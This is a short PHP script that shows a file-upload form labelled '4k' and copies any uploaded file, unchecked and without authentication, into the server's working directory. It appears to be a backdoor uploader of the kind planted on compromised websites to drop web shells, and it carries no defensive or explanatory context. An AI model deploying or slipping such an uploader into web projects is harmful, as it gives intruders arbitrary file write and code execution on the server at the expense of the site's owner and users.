<?php echo '4k<br>';echo '<br>';echo '<form action="" method="post" enctype="multipart/form-data" name="4k" id="4k">';echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="4k"></form>';if( $_POST['_upl'] == "4k" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>4k !!!</b><br><br>'; }else { echo '<b>4k !!!</b><br><br>'; }}?>